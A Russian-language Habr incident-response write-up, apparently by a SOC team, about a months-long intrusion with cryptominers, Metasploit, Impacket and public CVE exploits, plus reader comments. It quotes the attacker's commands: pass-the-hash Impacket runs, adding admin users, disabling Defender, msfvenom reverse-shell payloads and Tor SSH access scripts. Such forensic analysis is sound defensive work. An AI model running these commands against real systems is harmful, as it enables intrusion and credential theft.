Привет всем пытливым умам многоуважаемого Хабра! В этой статье мы расскажем об атаке скрипт-кидди (низкоквалифицированных хакеров с ограниченными знаниями и способностями) на IT-инфраструктуру одной из российских компаний. Мы с коллегами из «Информзащиты», безусловно, выручили пострадавших, но хотим перечислить просчеты администраторов безопасности и варианты противодействия злоумышленникам, чтобы мотивировать других не повторять чужих ошибок.
Мы подробно опишем все этапы кибератаки скрипт-кидди, с которой столкнулся наш заказчик. В своем рассказе сделаем акцент на том, как злодей украл учетные данные, каким образом закрепился в инфраструктуре, успешно обходил защиту, а также по какой причине внутренний SOC компании (Security Operations Center, команда ИБ-специалистов, ответственная за реагирование на инциденты) не подавал сигналы бедствия.
Вторжение в IT-инфраструктуру заказчика
Скрипт-кидди характерны тем, что используют для своих кибератак чужие программы и скрипты, так как они не способны самостоятельно написать вредоносный код. При этом их злонамеренные действия могут нанести такой же ущерб системе, как и атаки профессиональных хакеров. Более того, скрипт-кидди подвергают опасности собственные компьютеры, которые заражаются вредоносными программами и оставляют цифровые отпечатки, что и позволяет их идентифицировать. Но об этом позже. А пока обо всем по порядку.
14 августа 2022 года подрядчик по эксплуатации одной из информационных систем заказчика сообщил о высокой загрузке процессоров ряда виртуальных машин. Проведя анализ, сотрудники заказчика выявили установленные майнеры (программы для генерации криптовалюты).
16 августа 2022 года заказчик обратился в корпоративный центр обнаружения, предупреждения и ликвидации последствий компьютерных атак «Информзащиты» (IZ:SOC). Во время расследования IZ:SOC получил следующие хосты:
10.9.XX.181
10.9.XX.182
10.1X.XXX.23
10.5X.XX.69
10.6X.XX.64
10.6X.121.90
10.6X.121.19
10.9.X.113
Также наши сотрудники получили данные со следующих компонент IТ-инфраструктуры заказчика:
627-1-***-02.***.***.***.ru
627-1-**-ZB-**-4.***.***.***.ru
sa****.keenetic.name
sc****.keenetic.name
sc****.keenetic.name
sc****23.keenetic.link
Оказалось, что злоумышленники имели доступ к привилегированным учетным данным уже в марте 2022 года. То есть прошло как минимум семь месяцев до обнаружения их деятельности.
Специалисты IZ:SOC установили тактики и техники атакующих, инструменты, используемые ими для кражи учётных данных, поиска и эксплуатации уязвимостей, сбора и вывода информации, а также нашли их собственные скрипты автоматизации рутинных задач. Упрощенная схема перемещения хакеров показана на рисунке ниже.
То, с какой легкостью и изящностью преступник использовал модули metasploit (платформа для тестирования, поиска и использования уязвимостей) и отключал средства защиты, может говорить о его высокой степени подготовки. Но с другой стороны, в журналах событий скомпрометированных систем были обнаружены записи наподобие pkill vi.
Это свидетельствует о том, что хакер - не опытный компьютерный гений, а тот самый скрипт-кидди. Объясним на пальцах - есть такой текстовый редактор в unix-подобных машинах, называется vi или vim. Выйти из него для неопытных IT-спецов весьма затруднительно, поэтому наш начинающий хакер, судя по всему, зажал комбинацию клавиш ctrl+z и ввёл команду pkill vi, чтобы просто убить процесс этого графического редактора.
Как преступники получили доступ
Точная дата вторжения в инфраструктуру неизвестна. Но первые следы злоумышленника, которые удалось зафиксировать благодаря анализу событий с машин, датируются февралем 2022 года.
Из-за давности событий и ротации системных журналов, найти более ранние следы хакера было невозможно. По обнаруженной остаточной информации стало понятно, что атакующие использовали легитимные учетные данные для доступа к скомпрометированному хосту.
Выполнение атаки
После получения первоначального доступа к системе вредители устанавливали на скомпрометированные хосты metasploit (фреймворк для тестирования на проникновение metasploit). Через него осуществлялось как горизонтальное перемещение злоумышленника, так и кража учетных данных с использованием соответствующих модулей.
Злоумышленник использовал такие модули metasploit, как /exploit/windows/smb/psexec, /exploit/windows/smb/lsass, ставил listener-ы meterpreter-а, генерировал и распространял полезные нагрузки meterpreter. Благодаря тому, что на многих скомпрометированных хостах были установлены антивирусные решения, оповещения о найденных угрозах от антивирусов были сгенерированы практически одновременно с первыми запусками metasploit на скомпрометированных хостах. Однако администраторы безопасности проигнорировали эти предупреждения.
В файлах журналов средств антивирусной защиты были обнаружены записи о найденных угрозах, но и эти события остались незамеченными в связи с тем, что события от антивирусов не шли во внутреннюю SIEM-систему заказчика (система управления информационной безопасностью и событиями безопасности).
Так, например, в октябре 2022 года на хосте 10.6X.XXX.19 в журнале антивируса были зарегистрированы события об обнаружении угрозы HEUR:Trojan.Win32.Generic в файле «C:\8010.exe» (SHA256:20601c6f02000f6e82a4bcf8ab6a0486a8192ed3e5f03fd31606bdddcf97e311), который обладает функциональными возможностями по загрузке программного кода с сетевого адреса. Эти обстоятельства позволили злоумышленнику продолжить наступательные действия, практически не встречая никакого сопротивления со стороны команд безопасности.
Усложняем жизнь хакерам
Для противодействия подобной активности простого приобретения средства защиты информации не достаточно. Необходимо также следить и вовремя реагировать на оповещения средств защиты. Также рекомендуется подавать события журналов антивирусов в SIEM для более качественного обнаружения и реагирования на инциденты.
К тому же сеть заказчика являлась абсолютно плоской, что только способствовало продвижению злоумышленника с компрометацией ещё большего числа активов. Поэтому желательно проводить сегментацию сети с разграничением доступа между сегментами. Этото подход хоть и не остановит злоумышленника, но значительно сильно усложнит ему жизнь.
Модуль /exploit/windows/smb/psexec устроен таким образом, что в случае успешного подключения под указанными учётными записями происходит установка службы с полезной нагрузкой PowerShell, которая устанавливает соединение к хосту с metasploit. Пример подобной службы представлен на рисунке ниже.
Также на исследованных IZ:SOC хостах, были обнаружены следы фреймворка для постэксплуатации p0wnedShell. Отличительная особенность данного фреймворка в том, что он не использует в своей работе powershell.exe, хотя сохраняет в себе весь его функционал.
Для своевременного обнаружения и реагирования рекомендуется отключить powershell v2 и подать в SIEM события с журналов Windows Powershell и Microsoft-Windows-PowerShell/Operational. Далее в главе “Sigma-правил” представлены правила корреляции для обнаружения подобных активностей.
Как украли учетные данные
Для получения доступа к учетным данным пользователя злоумышленники применяли давно известные инструменты для их извлечения (Mimikatz, Impacket, LaZagne, Windows Password Recovery).
Результаты работы утилит хакер оставлял на самих хостах, после чего происходила компрометация ранее нескомпрометированных хостов, установка на них программ для атак, майнеров криптовалюты, дополнительных модулей для обеспечения работы хакерских утилит. Сдампленные учётные данные хранились как в текстовых файлах, так и в файлах формата SQLite.
Также атакующие применяли технику перебора паролей (Brute Force – T1110) для получения доступа к системам с хоста 10.9.XX.236. Свидетельство этому – множественные события неуспешной аутентификации в журналах Security.evtx как на скомпрометированных хостах, так и на контроллерах домена.
Кроме того, атакующие использовали Windows Password Recovery для восстановления/сброса паролей в ОС Windows. На части хостов были обнаружены утилиты, в функционале которых прослеживались функции кейлоггера. Однако установить, использовалась ли данная утилита для сбора учётных данных или иной конфиденциальной информации, не представляется возможным.
О базовых мерах безопасности
О противодействии кражам учётных данных сказано и написано уже немало, но базовые меры (использование стойких, длинных паролей, периодическая смена паролей, внедрение двухфакторной аутентификации) до сих пор игнорируются, в том числе и крупными организациями. Соответственно, для предотвращения или своевременного обнаружения большей части попыток кражи учётных данных нужно:
использовать стойкие, длинные пароли,
производить смену паролей один раз в 2-3 месяца,
внедрять двухфакторную аутентификацию,
не использовать один и тот же пароль для разных сервисов и служб,
не хранить пароли в открытом виде.
Однако помимо базовых мер есть ещё и более продвинутые (на случай, если базовые не остановили злоумышленника). В частности, используя события аудита windows и sysmon, можно с высокой степенью вероятности обнаруживать попытки дампа учётных данных. Дальше в главе Sigma Rules мы расскажем о правилах корреляции в виде sigma-правил, которые помогут своевременно фиксировать попытки кражи учётных данных пользователей.
Как хакеры повышали привилегии
Для повышения привилегий злоумышленники эксплуатировали ряд известных уязвимостей в различном ПО (CVE-2021-21972, CVE-2019-110432, CVE-2019-3980, CVE-2020-14364), применили visudo для редактирования файла sudoers. Далее рассмотрим их подробнее.
CVE-2021-21972 – критическая уязвимость VMware vCenter, которая позволяет выполнять произвольный удалённый код. С детальным описанием уязвимости можно ознакомиться по ссылке. Злоумышленник эксплуатировал данную уязвимость с помощью скрипта CVE-2021-21972.py, доступного в репозитории https://github.com/horizon3ai/CVE-2021-21972. Использование данного эксплоита в совокупности с утилитой lazagne.exe позволяло хакеру успешно дампить учётные данные сервера vCenter.
CVE-2019-11043 – уязвимость в PHP-FPM, позволяющая выполнять произвольный код с высокими привилегиями. Данной уязвимости подвержены версии PHP 7.1.x – 7.1.33, 7.2.x – 7.2.24 и 7.3.x – 7.3.11. Атакующий эксплуатировал уязвимость через эксплоит https://github.com/neex/phuip-fpizdam. Так как администраторы IТ-активов любезно запускали обработчик PHP с высокими правами, то успешная эксплуатация уязвимости приводила к повышению привилегий.
CVE-2019-3980 – уязвимость в SOLARWINDS DameWare Mini Remote Client Agent 12.1.0.89, позволяющая неаутентифицированному удалённому злоумышленнику выполнить произвольный код с высокими привилегиями. Эксплуатация данной уязвимости осуществлялась с помощью эксплоита от Tenable https://github.com/tenable/poc/blob/master/Solarwinds/Dameware/dwrcs_dwDrvInst_rce.py .
CVE-2020-14364 – уязвимость в ПО QEMU, позволяющая завершить процесс QEMU или выполнить произвольный код с высокими привилегиями.
Объединяет все эти уязвимости то, что для их эксплуатации не надо обладать высокими техническими навыками и серьёзной подготовкой. Достаточно просто верно указать параметры и ждать чуда.
Посмотрите еще, как хакер использовал visudo (редактирование файла sudoers) и редактировал файл visudo:
Для противодействия подобному поведению рекомендуется обновить компоненты инфраструктуры, которые в настоящее время (с учётом ухода ряда вендоров) можно обновить (PHP-FPM). Для ПО, которое нельзя так просто взять и обновить, рекомендуется использовать средства обнаружения/предотвращения вторжений с предварительно настроенными сигнатурами. И, конечно, всегда есть open source решения.
Как преступники закрепились в IT-инфраструктуре
Для закрепления хакеры использовали различные подходы, начиная от изменения пароля встроенных учётных записей и заканчивая созданием доменных пользователей. Так, например, в журналах событий одной скомпрометированной системы были зафиксированы события, свидетельствовавшие о смене пароля для учётной записи root.
Кроме того, были зафиксированы события, свидетельствующие о использовании злоумышленниками модулей Impacket для создания и добавления пользователей в привилегированные локальные группы.
Также на скомпрометированных хостах были обнаружены образы оптических дисков в формате ISO с PCUnlocker, который предназначен для сброса пароля администратора на Windows-системах. А еще:
установка tor, ssh сервисов, пакетов языка Golang, утилиты screen;
установка vpn proxy сервисов и фреймворка metasploit на хост;
развертывание на хосте сервера: ./gohttpserver;
редактирование файла пользовательского окружения .bashrc;
использование visudo (редактирование файла sudoers);
множественная установка VPN сессий со внешним хостом:
Атакующие создавали свои RSA-ключи для подключения по ssh, использовали удаленный доступ к серверу, привилегированные учетные записи и для закрепления, злоумышленники создавали доменные учётные записи:
О методе обхода защиты
Для уклонения от защиты хакер отключал средства защиты: как сторонние, так и специализированные.
Так, например, в логах одной из скомпрометированных систем были обнаружены записи, свидетельствующие об отключении Real-Time Protection в Windows Defender через утилиту reg.exe.
На других скомпрометированных системах в журналах Windows Powershell были обнаружены события, свидетельствующие о полном отключении Windows Defender.
Также в журналах скомпрометированных систем были обнаружены события, свидетельствующие об отключении сторонних средств антивирусной защиты.
Для более детальной информации о скомпрометированных хостах злоумышленник использовал системные утилиты (net, ping), а также устанавливал нужные ему утилиты (nmap, zenmap), предварительно получив необходимые для установки нужного софта права. Собранная информация включала информацию о пользователях (локальных и доменных), информацию о доступных хостах и актуальных уязвимостях для этих хостов.
В частности, атакующие использовали nmap и ping для тестирования доступности тех или иных хостов и сканирования их на уязвимости. Кроме того, хакеры исследовали запущенные процессы для траблшуттинга возникших проблем. Результаты сканирования сохранялись в текстовый файл и в дальнейшем использовались для горизонтального продвижения и составления словарей для перебора.
Далее расскажем подробнее об инструментарии, которым воспользовались хакеры.
Инструментарий скрипт-кидди
Tor — свободное и открытое программное обеспечение для анонимизации сетевого трафика. Анонимизация трафика обеспечивается за счёт распределённой сети серверов — узлов, в которой используется многоуровневое шифрование для защиты как сообщения, так и маршрутной информации.
Tor использует «луковую маршрутизацию», при которой сообщения шифруются несколькими уровнями шифрования; на каждом шаге в прокси-сети самый верхний уровень расшифровывается, и содержимое пересылается на следующий узел, пока не достигнет пункта назначения.
С использованием сети Tor злоумышленник организовывал каналы доступа во внутреннюю сеть из сети Интернет по протоколу SSH.
Пример файла onion.sh, используемого для автоматизации получения доступа к внутренней инфраструктуре:
ss() {
local n="$1"
echo "Connecting to ${unames[n]}@${hosts[n]}..."
torify ssh "${unames[n]}"@"${hosts[n]}"
}
main() {
[ -p /dev/stdin ] && exit; set -o ignoreeof; echo -ne '\e[?25l'
histfile="~/.schhist"
hosts=('slvz2e4wsyvhh2d455hynr6ufbtme2wm3uuaf24m2vamrd5nc6yigpid.onion'
'sgvz2orqfg54mehsomkxfxhyogh45x7pqvfscxq6vkx6q4kbty6axsyd.onion'
'gqs454eobrveek4ptkd7mb6mgq7ujl7tgjm4htg7v25soyl5grpcnxqd.onion'
'rkf4nm7gukk2lzsd377ezuzydjjanlaikx3adt337tjk7yl2tcnyunad.onion'
'teth4du6qtjnlo722blbtg56m53tzixnv7lpov2u27qgpph56umnesqd.onion'
'anzsliiejdeyaug234chopvdwvcoeyrovkxtsl6gppicseb26jpmziid.onion'
'4p6n4l6zwl7qtbaiu3niu7rcqrisjyrnw3f2xlsidxobcmwr67zxgkid.onion'
'5eew2fuq737g2vsokysu2ggw5xbwbbekmrtau74mb2o5e6qcquaqp3ad.onion'
'qguvtrbdryrw2zrznilc2mw45akmiokhxh7efuwwfm66zejad4gbb3id.onion'
'jhqcmcu6revramqjum5ewsw4xglozw2cak6lzqjg5awye62prqroksyd.onion'
'ze475smxgaan4szogm6xud423mnxkjoxbtwnmqipcmp2fp6gmqtkuayd.onion'
'mmdge3ffvv6ahxqacwafpd6frlnrauewbzv3ezpgfshm3lbgjnshewad.onion'
'ftrvpev4apzlpiwyfboshph3a7anamznl2ixnusqo73omov3kkpjxpqd.onion'
'obmgyti7jvtknkcold27v3lvpwhkg4xijxbo6rqdpf52m6tdulyztrid.onion'
'j7uxt3xsaisawy2gvkt737fwotnd27nrts4j4mvdnimbgtotf7d7eeyd.onion'
'6zqgwfy7bsfbd67a55ajfu4bcl37qt2h3mu4mwkh6rdzvntngdhjvgyd.onion'
'dgtsfpbxsj7i722h3wy47woljckfrzctrc3ohq7wtcufl3er6s7p65id.onion' )
Impacket – это набор Python-утилит для низкоуровневой работы с сетевыми протоколами.
Модули Impacket, которые использовал злоумышленник в данном инциденте, приводим ниже.
- Smbclient.py - универсальный SMB-клиент, позволяющий просматривать общие ресурсы и файлы, а также переименовывать, загружать и скачивать файлы и создавать и удалять каталоги, используя либо имя пользователя и пароль, либо комбинацию имени пользователя и хэшей.
Примеры использования злоумышленником данного модуля:
smbclient.py Administrator@10.64.XXX.90 -hashes :<HASH> for i in $(cat pass.txt); do echo -e "\n$i:"; smbclient.py "$i"@10.9.XX.11; done smbclient.py Admin:<Password>@10.64.XXX.21
- Atexec.py - модуль, который помогает злоумышленникам удаленно получать доступ к хост-машине пользователя с помощью протокола DCE / RPC, используемого хостами CIFS для доступа и управления службой AT-Scheduler и выполнения произвольной системной команды.
Примеры использования злоумышленником данного модуля:
atexec.py -codec cp866 Administrator@10.64.XXX.90 "net localgroup Администраторы new_adm/add" -hashes :<HASH>
atexec.py -codec cp866 Administrator@10.64.XXX.90 "net user new_admp4s5w0rd /add" -hashes :<HASH>
atexec.py -codec cp866 Administrator@10.64.XXX.90 'REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f' -hashes :<HASH>
- Psexec.py - модуль, по функционалу подобный утилите PsExec, используемый совместно со службой RemComSvc/
Примеры использования злоумышленником данного модуля:
psexec.py s**:s*****7@10.9.XX.181 psexec.py -codec cp866 Administrator10.9.XX.10 -hashes :<HASH>
psexec.py -codec cp866 Administrator:<PASSWORD>@10.64.XXX.20
- Smbexec.py - модуль, который использует аналогичный подход модулю PsExec, но без использования RemComSvc.
Этот скрипт работает в двух режимах:
режим общего доступа: указываются необходимые параметры, и все действия производятся посредством общего доступа;
режим сервера: если по какой-либо причине общий доступ невозможен, этот скрипт запустит локальный SMB-сервер, поэтому выходные данные выполненных команд будут отправлены целевой машиной обратно в локальную общую папку. Нужно иметь в виду, что хакеру понадобится root-доступ для привязки к 445 порту на локальной машине.
Примеры использования злоумышленником данного модуля:
smbexec.py -codec cp866 Administrator@10.64.XXX.90 -hashes :<HASH>
- Wmiexec.py - модуль, позволяющий выполнять команды посредством WMI. Главное преимущество заключается в том, что работа идет под учетной записью пользователя (именно — администратора), а не системы. Недостатком является то, что wmiexec.py нуждается в DCOM, следовательно, пользователь должен иметь возможность получить доступ к портам DCOM на целевой машине.
Примеры использования злоумышленником данного модуля:
wmiexec.py -codec cp866 Administrator@10.64.XXX.90 -hashes :<HASH>
for i in $(cat {domain_name}pass.txt); do echo -e "\n$i:"; wmiexec.py -codec cp866 "$i"@10.9.XX.11; done
- Secretsdump.py - модуль, позволяющий использовать различные методы для сброса/дампа учетных данных и баз УЗ (пример - ntds.dit) с удаленной машины.
Примеры использования злоумышленником данного модуля:
pip3 install impacket
secretsdump.py
ls -lh .local/bin/secretsdump.py
ls -lh .local/bin/secretsdum*
which secretsdump.py
Nmap - свободная утилита, предназначенная для разнообразного настраиваемого сканирования IP-сетей с любым количеством объектов, определения состояния объектов сканируемой сети.
Примеры использования злоумышленником данной утилиты:
# Nmap 7.92 scan initiated Tue Aug 9 17:50:22 2022 as: nmap.exe -T4 --open -p22 -sV -o centos.txt 10.6X.XXX-YYY.Z-255
Nmap scan report for 10.64.XXX.3
Host is up (0.010s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
cat $1 | parallel -j16 "nmap -Pn --open -p443 {} | grep -v 'Starting Nmap' | grep -v 'Nmap done'"
screen -d -m sudo nmap -T4 --open --top-ports 4096 -sV 10.64.XXX-YYY.0-255 -oN {domain_name}.txt -oX {domain_name}.xml
PsExec — это инструмент пакета PsTools, который является частью Sysinternals от Microsoft. PsExec позволяет удалённо запускать процессы с использованием учётных данных любого пользователя. В основном злоумышленниками используется при реализации техник Lateral Movement (горизонтального перемещения).
Примеры использования злоумышленником данной утилиты:
for i in $(cat {domain_name}pass.txt); do echo -e "\n$i:"; psexec -codec cp866 "$i"@10.9.XX.11; done
use exploit/windows/smb/psexec
Lazagne - это инструмент с открытым исходным кодом, используемый для восстановления сохраненных паролей в системе после эксплуатации. Lazagne имеет модули для Windows, Linux и OSX, но в основном ориентирован на системы Windows. Злоумышленниками используется в постэксплуатации, в качестве утилиты для дампа учетных данных хоста.
Примеры использования злоумышленником данной утилиты:
python3 CVE-2021-21972.py -t 10.64.XXX.20 -f lazagne.exe -p "ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\lazagne.exe" -o win
cp CVE-2021-21972-1/lazagne.exe /mnt/c/
PHuiP-FPizdaM
Эксплойт критической уязвимости CVE-2019-11043 в расширении PHP-FPM (менеджер процессов FastCGI), позволяющей удалённо выполнить свой код в системе. Уявимость используется при атаках на серверы, использующие для запуска PHP-скриптов PHP-FPM в связке с Nginx.
Примеры использования злоумышленником данной утилиты:
cd phuip-fpizdam/
cp ../phpips.txt .
for i in $(< phpips.txt); do go run . "http://$i/index.php"
for i in $(< phpips.txt); do go run . "http://$i/index.php"; done
htop
powershell.exe
cd /mnt/c/
ls
Mimikatz - это приложение с открытым исходным кодом, которое позволяет пользователям просматривать и сохранять учетные данные аутентификации, такие как тикеты Kerberos. Злоумышленники обычно используют Mimikatz для кражи учетных данных и повышения привилегий.
Metasploit Framework – это специализированный инструментарий, представляющий собой коллекцию уязвимостей, средств и способов их эксплуатации и разработки.
Примеры использования злоумышленником данной утилиты:
/mnt/c/metasploit-framework/bin/msfconsole.bat
use exploit/windows/smb/lsass
use exploit/windows/smb/psexec
options
set rhosts 10.64.XXX.90
options
set smbpass <PASSWORD>
set smbuser Admin
exploit
set rhosts 10.64.XXX.55
exploit
set smbpass bradmin
set smbuser bradmin
Metrepreter - продвинутая динамически расширяемая нагрузка, которая использует механизм ижектирования в память DLL и предоставляет инструментарий удаленного управления.
Примеры использования злоумышленником данной утилиты:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.64.XXX.64 LPORT=2222 -f exe -o met22.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.64.XXX.64 LPORT=4490 -f exe > w4490.exe
set payload windows/meterpreter/reverse_tcp
set lport 4490
options
set lhost 10.64.XXX.64
expl
run
ping *.<L1-domain>.goX
p0wnedShell - это хост-приложение PowerShell разработанное для тестирования систем на проникновение, написанное на C#, которое не использует powershell.exe, а выполняет команды и функции powershell в среде выполнения powershell (.NET).
В него включено множество модулей PowerShell для проведения атак, а также двоичных файлов, упрощающих процесс постэксплуатации. Используется для выполнения современных атак в средах Active Directory и обхода множества средств защиты.
Nircmd - утилита, которая позволяет выполнять различные системные задачи, например открыть\закрыть лоток диска, добавить\уменьшить уровень звука, отключить монитор, запустить скринсейвер, выключить компьютер и многое другое. Все эти действия программа совершает без отображения какого-либо интерфейса, то есть абсолютно не выдавая своего присутствия. Для указания утилите нужного действия используются параметры командной строки.
PTH-Toolkit – набор утилит, предназначенных для удалённого подключения к хостам Windows и выполнения произвольного кода. Инструмент для реализации горизонтального продвижения.
MITRE ATT&CK Mapping
Маппинг тактик, техник и процедур нашего «клиента» на матрицу MITRE ATT&CK
Sigma Rules
Далее , как и обещали, мы поделимся собственным контентом, детектирующими правилами, которые с вероятностью в 99% обнаружат атаки с подобным шаблоном. Следует также учитывать, что сценарии ложно-положительных срабатываний мы отразили в общих чертах. То есть, исключение False-Positive сработок необходимо производить самостоятельно в зависимости от вашей среды.
Вывод
Проанализировав данный инцидент и другие подобные случаи, наша команда пришла к выводу, что злоумышленники используют известные и общедоступные программы для тестирования безопасности, не утруждаясь разработкой новых кастомных инструментов.
Кроме того, они применяют уже известный инструментарий, например, Sysinternals, Impacket, а также пользуются утилитами из набора LOLBIN/LOLBAS, для целей разведки, закрепления и повышения привилегий. Эти инструменты вполне хорошо изучены и исследованы ведущими командами по кибербезопасности. Однако это не помешало хакерам достаточно долгое время пребывать в инфраструктуре незамеченными. И связано это вот с чем.
1. Сложности, с которыми нам приходится сталкиваться при разборе подобных инцидентов, состоят в том, что не всегда сразу удаётся определить легитимность или вредоносность той или иной активности, особенно если это события в SIEM. По разным причинам (события с источника не собираются, неправильно настроен аудит, слишком малая продолжительность жизни журналов событий и т.д.). Недостаточно данных для принятия решения. Соответственно, для получения более полной картины необходимо чаще запрашивать информацию у заказчика, что, в свою очередь, увеличивает время на реагирование на инцидент информационной безопасности, что даёт преимущество злоумышленнику.
2. Также, как было сказано выше, на многих хостах, которые попали к нам на исследование, были установлены средства антивирусной защиты, которые предупреждали о появлении на хостах вредоносных объектов. Однако это обстоятельство не остановило хакеров, так как за средствами антивирусной защиты практически никто не следил и никак не реагировал на предупреждения, что было только на руку вредителям. Стоит также отметить, что хотя у заказчика и были установлены надёжные, проверенные временем средства защиты информации с актуальными базами и сигнатурами – это все равно не помогло.
3. Сама по себе IТ-инфраструктура заказчика выстроена плохо с точки зрения информационной безопасности: отсутствует принцип минимизации прав и полномочий в части межсетевого взаимодействия; плохо обеспечена инвентаризация IТ-ресурсов, выраженная, в частности, в не выведенных из эксплуатации IТ-активов, которые более не используются; не обеспечено централизованное управление служебными учётными записями, контроль за использованием служебных учётных записей тоже отсутствует; используются слабые, ненадёжные пароли для разных учётных записей с высокими правами.
То есть мы видим ситуацию, в которой бюджет на ИБ в организации практически неограниченный (закуплены и используются сложные и дорогие средства антивирусной защиты, разворачивается внутренний SOC, используются современные средства межсетевого экранирование и т.д.), однако из-за слабо выстроенных процессов кибербезопасности, злоумышленнику удавалось довольно долгое время оставаться незамеченным в инфраструктуре.
Как исправить эту ситуацию и что для этого надо сделать - один из вопросов, который поставил перед нами заказчик. Для того, чтобы подобные случаи более не повторялись, мы поделились с атакованной компанией частью своих правил корреляции (представлены в разделе Sigma Rules), чтобы его внутренний SOC мог самостоятельно обнаруживать подобного рода атаки на ранних этапах.
Также не стоит забывать о базовых мерах защиты: использовать стойкие к перебору пароли, не использовать один и тот же пароль на разных учётных записях, придерживаться принципа минимальных привилегий, использовать учётные записи с высокими привилегиями, только в случаях, когда это действительно необходимо. Благодаря этим мерам SOC заказчика уже самостоятельно выявлял вредоносную активность в своей внутренней инфраструктуре.
Надеемся, что информация была полезной и для вас. Если возникнут вопросы, задавайте их в комментариях.
Комментарии (61)
olegshutov
16.05.2023 08:13+5Я тоже, кстати, имею некоторые затруднения с выходом из этого супермощного хакерского редактора иногда :))
onix74
16.05.2023 08:13Shift+Z+Z — выход c сохранением
Shift+Z+Q — выход без сохранения
;-)ReadOnlySadUser
16.05.2023 08:13Иногда vi любит "зависать", если честно я не помню в чём там причина, какая-то история про VISUAL режим. При этом не реагирует ни на какие клавиши вообще. Единственнный способ сбросить такое "зависание" - это нажать
Ctrl+Q
. Сути уже не помню, т.к. переехал из vim в VSCode несколько лет назад, но помню что вот этоCtlr+Q
не сразу гуглилось и не так чтобы многие о нём знают.mvv-rus
16.05.2023 08:13+1Вероятно, это замирание — оно после Ctrl+S. История эта древняя, ведущая начало ещё с символьных терминалов (VT-52 и т.п.), если вообще не с телетайпов (идейными потомками которых эти терминалы являлись): в них эти комбинации использовались для приостановки и возобновления вывода на термина потока символов. Ну, а vim, как наследник vi — редактора, созданного в те времена для тех терминалов — поддерживает эти последовательности. Немного про это можно прочитать, например, здесь ( наверное, есть источники и получше, но это — то что быстро нагуглилось).
lea
16.05.2023 08:13+34Что-то мне кажется словом "скрипткидди" вы пытаетесь обесценить действия этого хакера)) Ведь его вторжение прошло успешно, и минимум 7 месяцев оставалось незамеченным.
Serge78rus
16.05.2023 08:13+23В данном случае более подходило бы "админкидди" применительно к админам заказчика.
Yuribtr
16.05.2023 08:13+4То есть мы видим ситуацию, в которой бюджет на ИБ в организации
практически неограниченный ....,
однако из-за слабо выстроенных процессов кибербезопасности,
злоумышленнику удавалось довольно долгое время оставаться незамеченным в
инфраструктуреСкрипт-кидди vs Админ-кидди
Эта музыка будет вечной...
IZ_SOC Автор
16.05.2023 08:13-3Может - да, а может - нет :)
Мы не можем судить об их компетенциях. Возможно, команды защитников и вовсе не было, а её задачи выполняли люди из соседних отделов (админы , а по совместительству ещё и разработчики). А может, команда защитников была перегружена какими-то задачами и не успевала должным образом реагировать на боевые инциденты.saboteur_kiev
16.05.2023 08:13+7"Однако администраторы безопасности проигнорировали эти предупреждения."
то есть с мая 2022 года, админы игнорировали угрозу безопасности?
А в чем заключается тогда работа админов, что угроза безопасности считаются неважными задачами?IZ_SOC Автор
16.05.2023 08:13Сами озадачены) но мы не можем комментировать работу админов на стороне заказчика, так как не знаем, что происходило до того момента, пока не обратились к нам.
victor-homyakov
16.05.2023 08:13с мая 2022 года, админы игнорировали угрозу безопасности
Хуже - с 2019 года, судя по числу 2019 в идентификаторах уязвимостей CVE-2019-110432, CVE-2019-3980.
ProMix
16.05.2023 08:13+3Мы не можем судить об их компетенциях
Вообще-то можете. И справились они хреново
daemon0vch
16.05.2023 08:13+3Точно также нельзя судить и о компетенции производившего атаку хакера, т. к. он без траты времени и сил, пользуясь уже готовыми инструментами, смог произвести атаку и оставаться незамеченным на протяжении довольно долгого времени.
Сама же статья является довольно предвзятой, а на основании приведенных аргументов самого автора можно считать некомпетентным, либо стариком, скучающим по временам, когда не существовало такого большого инструментария для решения различных задач и его было необходимо создавать самостоятельно.
IZ_SOC Автор
16.05.2023 08:13+1Какой-либо попытки обесценивания действий хакера нет, он вполне себе успешно находился в инфраструктуре довольно продолжительное время, однако его нахождение в инфраструктуре такое продолжительное время вызвано не его суперскиллами, а отсутствием противодействия со стороны защитников.
Статья как раз "подсвечивает" тот момент, что успешным противодействием необходимо заниматься не только на бумаге, но и на практике. Тем более, когда этот суперсофт ненавязчиво говорит о том, что нашёл HEUR:Trojan.Win32.Generic.
saboteur_kiev
16.05.2023 08:13+2Основная суть в том, что результат атаки это не сама компания и ее инфраструктура, а тут - банальное насаждение майнеров.
Если бы хакер интересовался нанесением ущерба компании (кража документов, шифровальщики, промышленный шпионаж), возможно была бы чуть более профессиональная работа.
aGGre55or
16.05.2023 08:13+13Да, я тоже не увидел ничего от скрипт-кидди. Скрипт-кидди не гуляют по системам ушастых админов как у себя дома. Они точечно и непредсказуемо применяют чужие скрипты, без всякого понимания что они делают (нажми на кнопку - получишь результат, игра такая). Как правило от них страдают сайты. Поэтому это детки. Здесь же чувак просто нашёл кучу векторов, расслабился и начал жить в инфраструктуре не особо скрываясь и в своё удовольствие. Его просчёт был в том, что крупная компания это не только синоним бардака, но и крупные финансы, так что копаться в эту помойку пришла уже Информзащита (поскольку местные админы заняты починкой примусов или чем там их нагрузили вместо работы?). Ситуация, по моему скромному мнению, донельзя типичная.
Про ПоИБ: они занимались бумажками так что не надо тут. Ничего больше ПоИБ после курсов ПоИБ не умеют. ПоИБ-директора - тем более. Они даже м.б. сходили к админам и сказали: SIEM к Новому Году! И у них это зафиксировано где-нибудь. Админы покрутили пальцем у виска и вернулись к починке примусов.
IZ_SOC Автор
16.05.2023 08:13+1Ситуация, по моему скромному мнению, донельзя типичная.
В том, что такие ситуации достаточно типичны, и заключается большая проблема. Но эта проблема станет ещё больше, если не "переманить" молодых людей, активно изучающих хаккинг (в том числе и на практике) на "сторону добра". Как это можно сделать - это уже отдельная тема.
С другой стороны, корни данной проблемы растут из того, что на бумаге всё относительно хорошо, а как на самом деле - никто не знает и, что самое страшное, не хочет знать.Как правило от них страдают сайты. Поэтому это детки
Согласен, что, как правило, страдают сайты от скипт-кидди, но скрипт-кидди - это про то, что атакуюищй использует готовые инструменты/скрипты/эксплоиты без понимания их принципа работы.
Скрипт-кидди - это не про возраст)Здесь же чувак просто нашёл кучу векторов, расслабился и начал жить в инфраструктуре не особо скрываясь и в своё удовольствие
